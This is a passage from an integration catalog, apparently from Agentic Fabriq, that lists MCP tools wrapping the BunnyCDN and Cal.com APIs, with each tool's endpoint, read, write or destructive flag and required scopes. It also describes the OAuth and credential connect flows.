API Key via POST /videolibrary/{id}/resetApiKey DESTRUCTIVE: this immediately invalidates the video library's current API key -- every Stream client holding the old key stops authenticating, and the old key cannot be restored. POST /api/v1/bunnycdn/videolibrary/{id}/resetApiKey. Scopes: api. bunnycdn_post_videolibrary_by_id_resetreadonlyapikey (write, destructive) — Reset Read Only API Key via POST /videolibrary/{id}/resetReadOnlyApiKey DESTRUCTIVE: this immediately invalidates the video library's current read-only API key -- every client holding the old key stops authenticating, and the old key cannot be restored. POST /api/v1/bunnycdn/videolibrary/{id}/resetReadOnlyApiKey. Scopes: api. bunnycdn_put_compute_script_by_id_secrets (write) — Upsert Secret via PUT /compute/script/{id}/secrets PUT /api/v1/bunnycdn/compute/script/{id}/secrets. Scopes: api. bunnycdn_put_compute_script_by_id_variables (write) — Upsert Variable via PUT /compute/script/{id}/variables PUT /api/v1/bunnycdn/compute/script/{id}/variables. Scopes: api. bunnycdn_put_dnszone_by_zoneid_records (write) — Add DNS Record via PUT /dnszone/{zoneId}/records PUT /api/v1/bunnycdn/dnszone/{zoneId}/records. Scopes: api. bunnycdn_put_shield_shield_zone_by_shieldzoneid_bot_categorization_bots_by_botid (write) — Set or clear the action applied to a categorised bot for this Shield Zone. via PUT /shield/shield-zone/{shieldZoneId}/bot-categorization/bots/{botId} PUT /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/bot-categorization/bots/{botId}. Scopes: api. bunnycdn_put_shield_shield_zone_by_shieldzoneid_bot_categorization_categories_by_category (write) — Set or clear the action applied to every bot in a category for this Shield Zone. via PUT /shield/shield-zone/{shieldZoneId}/bot-categorization/categories/{category} PUT /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/bot-categorization/categories/{category}. Scopes: api. bunnycdn_put_shield_shield_zone_by_shieldzoneid_custom_page_by_pagetype (write) — Upload a custom HTML response page for a Shield Zone via PUT /shield/shield-zone/{shieldZoneId}/custom-page/{pageType} PUT /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/custom-page/{pageType}. Scopes: api. bunnycdn_put_shield_waf_custom_rule_by_id (write) — Update an existing custom WAF rule via PUT /shield/waf/custom-rule/{id} PUT /api/v1/bunnycdn/shield/waf/custom-rule/{id}. Scopes: api. bunnycdn_put_videolibrary_by_id_live_thumbnail (write) — Add Live Thumbnail via PUT /videolibrary/{id}/live/thumbnail PUT /api/v1/bunnycdn/videolibrary/{id}/live/thumbnail. Scopes: api. bunnycdn_put_videolibrary_by_id_live_watermark (write) — Add Live Watermark via PUT /videolibrary/{id}/live/watermark PUT /api/v1/bunnycdn/videolibrary/{id}/live/watermark. Scopes: api. bunnycdn_put_videolibrary_by_id_watermark (write) — Add Watermark via PUT /videolibrary/{id}/watermark PUT /api/v1/bunnycdn/videolibrary/{id}/watermark. Scopes: api. ================================================================================ ## Cal.com URL: https://www.agenticfabriq.com/integrations/calcom Section: Integrated Tools Cal.com — 329 MCP tools Provider key: calcom. Scopes: APPS_READ, APPS_WRITE, BOOKING_READ, BOOKING_WRITE, EVENT_TYPE_READ, EVENT_TYPE_WRITE, ORG_BOOKING_READ, ORG_BOOKING_WRITE, ORG_EVENT_TYPE_READ, ORG_MEMBERSHIP_READ, ORG_MEMBERSHIP_WRITE, ORG_PROFILE_READ, ORG_PROFILE_WRITE, ORG_ROUTING_FORM_READ, ORG_ROUTING_FORM_WRITE, ORG_SCHEDULE_READ, ORG_SCHEDULE_WRITE, ORG_WEBHOOK_READ, ORG_WEBHOOK_WRITE, PROFILE_READ, PROFILE_WRITE, SCHEDULE_READ, SCHEDULE_WRITE, TEAM_APPS_READ, TEAM_APPS_WRITE, TEAM_BOOKING_READ, TEAM_EVENT_TYPE_READ, TEAM_EVENT_TYPE_WRITE, TEAM_MEMBERSHIP_READ, TEAM_MEMBERSHIP_WRITE, TEAM_PROFILE_READ, TEAM_PROFILE_WRITE, TEAM_ROUTING_FORM_READ, TEAM_ROUTING_FORM_WRITE, TEAM_SCHEDULE_READ, TEAM_SCHEDULE_WRITE, TEAM_VERIFIED_RESOURCES_READ, TEAM_VERIFIED_RESOURCES_WRITE, TEAM_WORKFLOW_READ, TEAM_WORKFLOW_WRITE, VERIFIED_RESOURCES_READ, VERIFIED_RESOURCES_WRITE, WEBHOOK_READ, WEBHOOK_WRITE. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. calcom_delete_v2_conferencing_by_app_disconnect (write, destructive) — Disconnect your conferencing application via DELETE /v2/conferencing/{app}/disconnect DELETE /api/v1/calcom/v2/conferencing/{app}/disconnect. Scopes: APPS_WRITE. calcom_delete_v2_event_types_by_eventtypeid (write, destructive) — Delete an event type via DELETE /v2/event-types/{eventTypeId} DELETE /api/v1/calcom/v2/event-types/{eventTypeId}. Scopes: EVENT_TYPE_WRITE. calcom_delete_v2_event_types_by_eventtypeid_private_links_by_linkid (write, destructive) — Delete a private link for an event type via DELETE /v2/event-types/{eventTypeId}/private-links/{linkId} DELETE /api/v1/calcom/v2/event-types/{eventTypeId}/private-links/{linkId}. Scopes: EVENT_TYPE_WRITE. calcom_delete_v2_event_types_by_eventtypeid_webhooks (write, destructive) — Delete all webhooks via DELETE /v2/event-types/{eventTypeId}/webhooks DELETE /api/v1/calcom/v2/event-types/{eventTypeId}/webhooks. Scopes: EVENT_TYPE_WRITE. calcom_delete_v2_event_types_by_eventtypeid_webhooks_by_webhookid (write, destructive) — Delete a webhook via DELETE /v2/event-types/{eventTypeId}/webhooks/{webhookId} DELETE /api/v1/calcom/v2/event-types/{eventTypeId}/webhooks/{webhookId}. Scopes: EVENT_TYPE_WRITE. calcom_delete_v2_me_booking_limits (write, destructive) — Clear my booking limits via DELETE /v2/me/booking-limits DELETE /api/v1/calcom/v2/me/booking-limits. Scopes: PROFILE_WRITE. calcom_delete_v2_me_ooo_by_oooid (write, destructive) — Delete an out-of-office entry for the authenticated user via DELETE /v2/me/ooo/{oooId} DELETE /api/v1/calcom/v2/me/ooo/{oooId}. Scopes: SCHEDULE_WRITE. calcom_delete_v2_notifications_subscriptions_app_push (write, destructive) — Remove an app push subscription via DELETE /v2/notifications/subscriptions/app-push DELETE /api/v1/calcom/v2/notifications/subscriptions/app-push. Scopes: none. calcom_delete_v2_notifications_subscriptions_slack (write, destructive) — Remove a Slack push subscription via DELETE /v2/notifications/subscriptions/slack DELETE /api/v1/calcom/v2/notifications/subscriptions/slack. Scopes: none. calcom_delete_v2_notifications_subscriptions_telegram (write, destructive) — Remove a Telegram push subscription via DELETE /v2/notifications/subscriptions/telegram DELETE /api/v1/calcom/v2/notifications/subscriptions/telegram. Scopes: none. calcom_delete_v2_oauth_clients_by_clientid (write, destructive) — Delete an OAuth client via DELETE /v2/oauth-clients/{clientId} DELETE /api/v1/calcom/v2/oauth-clients/{clientId}. Scopes: none. calcom_delete_v2_oauth_clients_by_clientid_users_by_userid (write, destructive) — Delete a managed user via DELETE /v2/oauth-clients/{clientId}/users/{userId} DELETE /api/v1/calcom/v2/oauth-clients/{clientId}/users/{userId}. Scopes: none. calcom_delete_v2_oauth_clients_by_clientid_webhooks (write, destructive) — Delete all webhooks via DELETE /v2/oauth-clients/{clientId}/webhooks DELETE /api/v1/calcom/v2/oauth-clients/{clientId}/webhooks. Scopes: none. calcom_delete_v2_oauth_clients_by_clientid_webhooks_by_webhookid (write, destructive) — Delete a webhook via DELETE /v2/oauth-clients/{clientId}/webhooks/{webhookId} DELETE /api/v1/calcom/v2/oauth-clients/{clientId}/webhooks/{webhookId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_attributes_by_attributeid (write, destructive) — Delete an attribute via DELETE /v2/organizations/{orgId}/attributes/{attributeId} DELETE /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_attributes_by_attributeid_options_by_optionid (write, destructive) — Delete an attribute option via DELETE /v2/organizations/{orgId}/attributes/{attributeId}/options/{optionId} DELETE /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}/options/{optionId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_attributes_options_by_userid_by_attributeoptionid (write, destructive) — Unassign an attribute from a user via DELETE /v2/organizations/{orgId}/attributes/options/{userId}/{attributeOptionId} DELETE /api/v1/calcom/v2/organizations/{orgId}/attributes/options/{userId}/{attributeOptionId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_delegation_credentials_by_credentialid (write, destructive) — Delete delegation credentials of your organization via DELETE /v2/organizations/{orgId}/delegation-credentials/{credentialId} DELETE /api/v1/calcom/v2/organizations/{orgId}/delegation-credentials/{credentialId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_memberships_by_membershipid (write, destructive) — Delete a membership via DELETE /v2/organizations/{orgId}/memberships/{membershipId} DELETE /api/v1/calcom/v2/organizations/{orgId}/memberships/{membershipId}. Scopes: ORG_MEMBERSHIP_WRITE. calcom_delete_v2_organizations_by_orgid_organizations_by_managedorganizationid (write, destructive) — Delete an organization within an organization via DELETE /v2/organizations/{orgId}/organizations/{managedOrganizationId} DELETE /api/v1/calcom/v2/organizations/{orgId}/organizations/{managedOrganizationId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_roles_by_roleid (write, destructive) — Delete an organization role via DELETE /v2/organizations/{orgId}/roles/{roleId} DELETE /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_roles_by_roleid_permissions (write, destructive) — Remove multiple permissions from an organization role via DELETE /v2/organizations/{orgId}/roles/{roleId}/permissions DELETE /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}/permissions. Scopes: none. calcom_delete_v2_organizations_by_orgid_roles_by_roleid_permissions_by_permission (write, destructive) — Remove a permission from an organization role via DELETE /v2/organizations/{orgId}/roles/{roleId}/permissions/{permission} DELETE /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}/permissions/{permission}. Scopes: none. calcom_delete_v2_organizations_by_orgid_teams_by_teamid (write, destructive) — Delete a team via DELETE /v2/organizations/{orgId}/teams/{teamId} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}. Scopes: ORG_PROFILE_WRITE. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_conferencing_by_app_disconnect (write, destructive) — Disconnect team conferencing application via DELETE /v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/disconnect DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/disconnect. Scopes: TEAM_APPS_WRITE. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid (write, destructive) — Delete a team event type via DELETE /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid_private_links_by_linkid (write, destructive) — Delete a private link for a team event type via DELETE /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links/{linkId} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links/{linkId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_memberships_by_membershipid (write, destructive) — Delete a membership via DELETE /v2/organizations/{orgId}/teams/{teamId}/memberships/{membershipId} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/memberships/{membershipId}. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid (write, destructive) — Delete an organization team role via DELETE /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}. Scopes: none. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid_permissions (write, destructive) — Remove multiple permissions from an organization team role via DELETE /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions. Scopes: none. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid_permissions_by_permission (write, destructive) — Remove a permission from an organization team role via DELETE /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions/{permission} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions/{permission}. Scopes: none. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_workflows_by_workflowid (write, destructive) — Delete organization team workflow via DELETE /v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId} DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}. Scopes: TEAM_WORKFLOW_WRITE. calcom_delete_v2_organizations_by_orgid_teams_by_teamid_workflows_by_workflowid_routing_form (write, destructive) — Delete organization team routing-form workflow via DELETE /v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}/routing-form DELETE /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}/routing-form. Scopes: TEAM_WORKFLOW_WRITE. calcom_delete_v2_organizations_by_orgid_users_by_userid (write, destructive) — Delete a user via DELETE /v2/organizations/{orgId}/users/{userId} DELETE /api/v1/calcom/v2/organizations/{orgId}/users/{userId}. Scopes: ORG_MEMBERSHIP_WRITE. calcom_delete_v2_organizations_by_orgid_users_by_userid_ooo_by_oooid (write, destructive) — Delete an out-of-office entry for a user via DELETE /v2/organizations/{orgId}/users/{userId}/ooo/{oooId} DELETE /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/ooo/{oooId}. Scopes: ORG_SCHEDULE_WRITE. calcom_delete_v2_organizations_by_orgid_users_by_userid_schedules_by_scheduleid (write, destructive) — Delete a schedule via DELETE /v2/organizations/{orgId}/users/{userId}/schedules/{scheduleId} DELETE /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/schedules/{scheduleId}. Scopes: ORG_SCHEDULE_WRITE. calcom_delete_v2_organizations_by_orgid_webhooks_by_webhookid (write, destructive) — Delete a webhook via DELETE /v2/organizations/{orgId}/webhooks/{webhookId} DELETE /api/v1/calcom/v2/organizations/{orgId}/webhooks/{webhookId}. Scopes: ORG_WEBHOOK_WRITE. calcom_delete_v2_schedules_by_scheduleid (write, destructive) — Delete a schedule via DELETE /v2/schedules/{scheduleId} DELETE /api/v1/calcom/v2/schedules/{scheduleId}. Scopes: SCHEDULE_WRITE. calcom_delete_v2_selected_calendars (write, destructive) — Delete a selected calendar via DELETE /v2/selected-calendars DELETE /api/v1/calcom/v2/selected-calendars. Scopes: APPS_WRITE. calcom_delete_v2_slots_reservations_by_uid (write, destructive) — Delete a reserved slot via DELETE /v2/slots/reservations/{uid} DELETE /api/v1/calcom/v2/slots/reservations/{uid}. Scopes: none. calcom_delete_v2_teams_by_teamid (write, destructive) — Delete a team via DELETE /v2/teams/{teamId} DELETE /api/v1/calcom/v2/teams/{teamId}. Scopes: TEAM_PROFILE_WRITE. calcom_delete_v2_teams_by_teamid_event_types_by_eventtypeid (write, destructive) — Delete a team event type via DELETE /v2/teams/{teamId}/event-types/{eventTypeId} DELETE /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_delete_v2_teams_by_teamid_event_types_by_eventtypeid_webhooks (write, destructive) — Delete all webhooks for a team event type via DELETE /v2/teams/{teamId}/event-types/{eventTypeId}/webhooks DELETE /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/webhooks. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_delete_v2_teams_by_teamid_event_types_by_eventtypeid_webhooks_by_webhookid (write, destructive) — Delete a webhook for a team event type via DELETE /v2/teams/{teamId}/event-types/{eventTypeId}/webhooks/{webhookId} DELETE /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/webhooks/{webhookId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_delete_v2_teams_by_teamid_memberships_by_membershipid (write, destructive) — Delete a membership via DELETE /v2/teams/{teamId}/memberships/{membershipId} DELETE /api/v1/calcom/v2/teams/{teamId}/memberships/{membershipId}. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_delete_v2_teams_by_teamid_users_by_userid_ooo_by_oooid (write, destructive) — Delete an out-of-office entry for a team member via DELETE /v2/teams/{teamId}/users/{userId}/ooo/{oooId} DELETE /api/v1/calcom/v2/teams/{teamId}/users/{userId}/ooo/{oooId}. Scopes: TEAM_SCHEDULE_WRITE. calcom_delete_v2_webhooks_by_webhookid (write, destructive) — Delete a webhook via DELETE /v2/webhooks/{webhookId} DELETE /api/v1/calcom/v2/webhooks/{webhookId}. Scopes: WEBHOOK_WRITE. calcom_delete_v2_workflows_by_workflowid (write, destructive) — Delete your workflow via DELETE /v2/workflows/{workflowId} DELETE /api/v1/calcom/v2/workflows/{workflowId}. Scopes: none. calcom_get_v2_allowlists (read) — Get the Cal.com IP allowlists via GET /v2/allowlists GET /api/v1/calcom/v2/allowlists. Scopes: none. calcom_get_v2_allowlists_by_service (read) — Get the Cal.com IP allowlist of one service via GET /v2/allowlists/{service} GET /api/v1/calcom/v2/allowlists/{service}. Scopes: none. calcom_get_v2_auth_oauth2_clients_by_clientid (read) — Get OAuth2 client via GET /v2/auth/oauth2/clients/{clientId} GET /api/v1/calcom/v2/auth/oauth2/clients/{clientId}. Scopes: none. calcom_get_v2_bookings (read) — Get all bookings via GET /v2/bookings GET /api/v1/calcom/v2/bookings. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid (read) — Get a booking via GET /v2/bookings/{bookingUid} GET /api/v1/calcom/v2/bookings/{bookingUid}. Scopes: none. calcom_get_v2_bookings_by_bookinguid_attendees (read) — Get all attendees for a booking via GET /v2/bookings/{bookingUid}/attendees GET /api/v1/calcom/v2/bookings/{bookingUid}/attendees. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_attendees_by_attendeeid (read) — Get a specific attendee for a booking via GET /v2/bookings/{bookingUid}/attendees/{attendeeId} GET /api/v1/calcom/v2/bookings/{bookingUid}/attendees/{attendeeId}. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_calendar_links (read) — Get 'Add to Calendar' links for a booking via GET /v2/bookings/{bookingUid}/calendar-links GET /api/v1/calcom/v2/bookings/{bookingUid}/calendar-links. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_conferencing_sessions (read) — Get Video Meeting Sessions. via GET /v2/bookings/{bookingUid}/conferencing-sessions GET /api/v1/calcom/v2/bookings/{bookingUid}/conferencing-sessions. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_recordings (read) — Get all the recordings for the booking via GET /v2/bookings/{bookingUid}/recordings GET /api/v1/calcom/v2/bookings/{bookingUid}/recordings. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_references (read) — Get booking references via GET /v2/bookings/{bookingUid}/references GET /api/v1/calcom/v2/bookings/{bookingUid}/references. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_routing_trace (read) — Get the routing trace for a booking via GET /v2/bookings/{bookingUid}/routing-trace GET /api/v1/calcom/v2/bookings/{bookingUid}/routing-trace. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_bookinguid_transcripts (read) — Get Cal Video real time transcript download links for the booking via GET /v2/bookings/{bookingUid}/transcripts GET /api/v1/calcom/v2/bookings/{bookingUid}/transcripts. Scopes: BOOKING_READ. calcom_get_v2_bookings_by_seat_by_seatuid (read) — Get a booking by seat UID via GET /v2/bookings/by-seat/{seatUid} GET /api/v1/calcom/v2/bookings/by-seat/{seatUid}. Scopes: none. calcom_get_v2_bookings_verification_email_check (read) — Check if email verification is required via GET /v2/bookings/verification/email/check GET /api/v1/calcom/v2/bookings/verification/email/check. Scopes: none. calcom_get_v2_calendars (read) — Get all calendars via GET /v2/calendars GET /api/v1/calcom/v2/calendars. Scopes: APPS_READ. calcom_get_v2_calendars_busy_times (read) — Get busy times from a calendar. via GET /v2/calendars/busy-times GET /api/v1/calcom/v2/calendars/busy-times. Scopes: APPS_READ. calcom_get_v2_calendars_by_calendar_check (read) — Check a calendar connection via GET /v2/calendars/{calendar}/check GET /api/v1/calcom/v2/calendars/{calendar}/check. Scopes: APPS_READ. calcom_get_v2_calendars_by_calendar_connect (read) — Get OAuth connect URL via GET /v2/calendars/{calendar}/connect GET /api/v1/calcom/v2/calendars/{calendar}/connect. Scopes: APPS_WRITE. calcom_get_v2_calendars_by_calendar_event_by_eventuid (read) — Get meeting details from calendar via GET /v2/calendars/{calendar}/event/{eventUid} GET /api/v1/calcom/v2/calendars/{calendar}/event/{eventUid}. Scopes: APPS_READ. calcom_get_v2_calendars_by_calendar_save (read) — Save Google or Outlook calendar credentials via GET /v2/calendars/{calendar}/save GET /api/v1/calcom/v2/calendars/{calendar}/save. Scopes: none. calcom_get_v2_calendars_ics_feed_check (read) — Check an ICS feed via GET /v2/calendars/ics-feed/check GET /api/v1/calcom/v2/calendars/ics-feed/check. Scopes: APPS_READ. calcom_get_v2_conferencing (read) — List your conferencing applications via GET /v2/conferencing GET /api/v1/calcom/v2/conferencing. Scopes: APPS_READ. calcom_get_v2_conferencing_by_app_oauth_auth_url (read) — Get OAuth conferencing app auth URL via GET /v2/conferencing/{app}/oauth/auth-url GET /api/v1/calcom/v2/conferencing/{app}/oauth/auth-url. Scopes: APPS_WRITE. calcom_get_v2_conferencing_by_app_oauth_callback (read) — Conferencing app OAuth callback via GET /v2/conferencing/{app}/oauth/callback GET /api/v1/calcom/v2/conferencing/{app}/oauth/callback. Scopes: none. calcom_get_v2_conferencing_default (read) — Get your default conferencing application via GET /v2/conferencing/default GET /api/v1/calcom/v2/conferencing/default. Scopes: APPS_READ. calcom_get_v2_credits_available (read) — Check available credits via GET /v2/credits/available GET /api/v1/calcom/v2/credits/available. Scopes: none. calcom_get_v2_event_types (read) — Get all event types via GET /v2/event-types GET /api/v1/calcom/v2/event-types. Scopes: none. calcom_get_v2_event_types_by_eventtypeid (read) — Get an event type via GET /v2/event-types/{eventTypeId} GET /api/v1/calcom/v2/event-types/{eventTypeId}. Scopes: EVENT_TYPE_READ. calcom_get_v2_event_types_by_eventtypeid_crm_sync_errors (read) — List CRM sync errors for an event type via GET /v2/event-types/{eventTypeId}/crm-sync-errors GET /api/v1/calcom/v2/event-types/{eventTypeId}/crm-sync-errors. Scopes: EVENT_TYPE_READ. calcom_get_v2_event_types_by_eventtypeid_history (read) — Get event type history via GET /v2/event-types/{eventTypeId}/history GET /api/v1/calcom/v2/event-types/{eventTypeId}/history. Scopes: EVENT_TYPE_READ. calcom_get_v2_event_types_by_eventtypeid_private_links (read) — Get all private links for an event type via GET /v2/event-types/{eventTypeId}/private-links GET /api/v1/calcom/v2/event-types/{eventTypeId}/private-links. Scopes: EVENT_TYPE_READ. calcom_get_v2_event_types_by_eventtypeid_scheduling_config (read) — Get scheduling configuration via GET /v2/event-types/{eventTypeId}/scheduling-config GET /api/v1/calcom/v2/event-types/{eventTypeId}/scheduling-config. Scopes: EVENT_TYPE_READ. calcom_get_v2_event_types_by_eventtypeid_webhooks (read) — Get all webhooks via GET /v2/event-types/{eventTypeId}/webhooks GET /api/v1/calcom/v2/event-types/{eventTypeId}/webhooks. Scopes: EVENT_TYPE_READ. calcom_get_v2_event_types_by_eventtypeid_webhooks_by_webhookid (read) — Get a webhook via GET /v2/event-types/{eventTypeId}/webhooks/{webhookId} GET /api/v1/calcom/v2/event-types/{eventTypeId}/webhooks/{webhookId}. Scopes: EVENT_TYPE_READ. calcom_get_v2_me (read) — Get my profile via GET /v2/me GET /api/v1/calcom/v2/me. Scopes: PROFILE_READ. calcom_get_v2_me_booking_limits (read) — Get my booking limits via GET /v2/me/booking-limits GET /api/v1/calcom/v2/me/booking-limits. Scopes: PROFILE_READ. calcom_get_v2_me_ooo (read) — Get all out-of-office entries for the authenticated user via GET /v2/me/ooo GET /api/v1/calcom/v2/me/ooo. Scopes: SCHEDULE_READ. calcom_get_v2_oauth_clients (read) — Get all OAuth clients via GET /v2/oauth-clients GET /api/v1/calcom/v2/oauth-clients. Scopes: none. calcom_get_v2_oauth_clients_by_clientid (read) — Get an OAuth client via GET /v2/oauth-clients/{clientId} GET /api/v1/calcom/v2/oauth-clients/{clientId}. Scopes: none. calcom_get_v2_oauth_clients_by_clientid_users (read) — Get all managed users via GET /v2/oauth-clients/{clientId}/users GET /api/v1/calcom/v2/oauth-clients/{clientId}/users. Scopes: none. calcom_get_v2_oauth_clients_by_clientid_users_by_userid (read) — Get a managed user via GET /v2/oauth-clients/{clientId}/users/{userId} GET /api/v1/calcom/v2/oauth-clients/{clientId}/users/{userId}. Scopes: none. calcom_get_v2_oauth_clients_by_clientid_webhooks (read) — Get all webhooks via GET /v2/oauth-clients/{clientId}/webhooks GET /api/v1/calcom/v2/oauth-clients/{clientId}/webhooks. Scopes: none. calcom_get_v2_oauth_clients_by_clientid_webhooks_by_webhookid (read) — Get a webhook via GET /v2/oauth-clients/{clientId}/webhooks/{webhookId} GET /api/v1/calcom/v2/oauth-clients/{clientId}/webhooks/{webhookId}. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes (read) — Get all attributes via GET /v2/organizations/{orgId}/attributes GET /api/v1/calcom/v2/organizations/{orgId}/attributes. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_assignments_by_userid_history (read) — Get attribute assignment history for a user via GET /v2/organizations/{orgId}/attributes/assignments/{userId}/history GET /api/v1/calcom/v2/organizations/{orgId}/attributes/assignments/{userId}/history. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_by_attributeid (read) — Get an attribute via GET /v2/organizations/{orgId}/attributes/{attributeId} GET /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_by_attributeid_options (read) — Get all attribute options via GET /v2/organizations/{orgId}/attributes/{attributeId}/options GET /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}/options. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_by_attributeid_options_assigned (read) — Get all assigned attribute options by attribute ID via GET /v2/organizations/{orgId}/attributes/{attributeId}/options/assigned GET /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}/options/assigned. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_options_by_userid (read) — Get all attribute options for a user via GET /v2/organizations/{orgId}/attributes/options/{userId} GET /api/v1/calcom/v2/organizations/{orgId}/attributes/options/{userId}. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_slugs_by_attributeslug_options_assigned (read) — Get all assigned attribute options by attribute slug via GET /v2/organizations/{orgId}/attributes/slugs/{attributeSlug}/options/assigned GET /api/v1/calcom/v2/organizations/{orgId}/attributes/slugs/{attributeSlug}/options/assigned. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_sync_history (read) — Get attribute sync history via GET /v2/organizations/{orgId}/attributes/sync-history GET /api/v1/calcom/v2/organizations/{orgId}/attributes/sync-history. Scopes: none. calcom_get_v2_organizations_by_orgid_attributes_sync_history_user_by_userid (read) — Get sync history for a specific user via GET /v2/organizations/{orgId}/attributes/sync-history/user/{userId} GET /api/v1/calcom/v2/organizations/{orgId}/attributes/sync-history/user/{userId}. Scopes: none. calcom_get_v2_organizations_by_orgid_bookings (read) — Get organization bookings (cursor pagination) via GET /v2/organizations/{orgId}/bookings GET /api/v1/calcom/v2/organizations/{orgId}/bookings. Scopes: ORG_BOOKING_READ. calcom_get_v2_organizations_by_orgid_delegation_credentials (read) — Get all delegation credentials of your organization via GET /v2/organizations/{orgId}/delegation-credentials GET /api/v1/calcom/v2/organizations/{orgId}/delegation-credentials. Scopes: none. calcom_get_v2_organizations_by_orgid_delegation_credentials_by_credentialid (read) — Get a delegation credential of your organization via GET /v2/organizations/{orgId}/delegation-credentials/{credentialId} GET /api/v1/calcom/v2/organizations/{orgId}/delegation-credentials/{credentialId}. Scopes: none. calcom_get_v2_organizations_by_orgid_memberships (read) — Get all memberships via GET /v2/organizations/{orgId}/memberships GET /api/v1/calcom/v2/organizations/{orgId}/memberships. Scopes: ORG_MEMBERSHIP_READ. calcom_get_v2_organizations_by_orgid_memberships_by_membershipid (read) — Get a membership via GET /v2/organizations/{orgId}/memberships/{membershipId} GET /api/v1/calcom/v2/organizations/{orgId}/memberships/{membershipId}. Scopes: ORG_MEMBERSHIP_READ. calcom_get_v2_organizations_by_orgid_ooo (read) — Get all out-of-office entries for organization users via GET /v2/organizations/{orgId}/ooo GET /api/v1/calcom/v2/organizations/{orgId}/ooo. Scopes: ORG_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_organizations (read) — Get all organizations within an organization via GET /v2/organizations/{orgId}/organizations GET /api/v1/calcom/v2/organizations/{orgId}/organizations. Scopes: none. calcom_get_v2_organizations_by_orgid_organizations_by_managedorganizationid (read) — Get an organization within an organization via GET /v2/organizations/{orgId}/organizations/{managedOrganizationId} GET 